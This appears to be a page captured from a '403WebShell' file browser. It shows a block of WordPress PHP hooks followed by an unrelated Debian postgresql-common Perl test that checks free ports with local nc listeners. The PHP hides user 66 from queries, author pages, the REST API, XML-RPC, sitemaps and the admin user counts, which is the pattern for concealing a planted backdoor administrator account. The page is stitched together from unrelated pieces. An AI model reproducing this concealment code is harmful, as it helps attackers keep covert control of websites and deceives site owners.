add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
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Current File : /usr/share/postgresql-common/t/006_next_free_port.t
# Check PgCommon's next_free_port()

use strict; 

use lib '.';
use PgCommon;

use lib 't';
use TestLib;

use Test::More tests => 5;

# test next_free_port(). We are intentionally using nc as an external tool,
# using perl would replicate what next_free_port is doing, and that would
# be a pointless test.
use IPC::Open2;
use Time::HiRes qw(usleep);
my @pids;
# no ports open
is (next_free_port, 5432, 'next_free_port is 5432');

# open a localhost ipv4 socket
push @pids, open2(\*CHLD_OUT, \*CHLD_IN, qw(nc -4 -l 127.0.0.1 5432));
usleep 2*$delay;
is (next_free_port, 5433, 'next_free_port detects localhost ipv4 socket');
# open a wildcard ipv4 socket
push @pids, open2(\*CHLD_OUT, \*CHLD_IN, qw(nc -4 -l 5433));
usleep 2*$delay;
is (next_free_port, 5434, 'next_free_port detects wildcard ipv4 socket');

SKIP: {
    $^V =~ /^v(\d+\.\d+)/; # parse perl version
    skip "perl <= 5.10 does not have proper IPv6 support", 2 if ($1 <= 5.10);
    skip "skipping IPv6 tests", 2 if ($ENV{SKIP_IPV6});

    # open a localhost ipv6 socket
    push @pids, open2(\*CHLD_OUT, \*CHLD_IN, qw(nc -6 -l ::1 5434));
    usleep 2*$delay;
    is (next_free_port, 5435, 'next_free_port detects localhost ipv6 socket');
    # open a wildcard ipv6 socket
    push @pids, open2(\*CHLD_OUT, \*CHLD_IN, qw(nc -6 -l 5435));
    usleep 2*$delay;
    is (next_free_port, 5436, 'next_free_port detects wildcard ipv6 socket');
}

# clean up
kill 15, @pids;

# vim: filetype=perl

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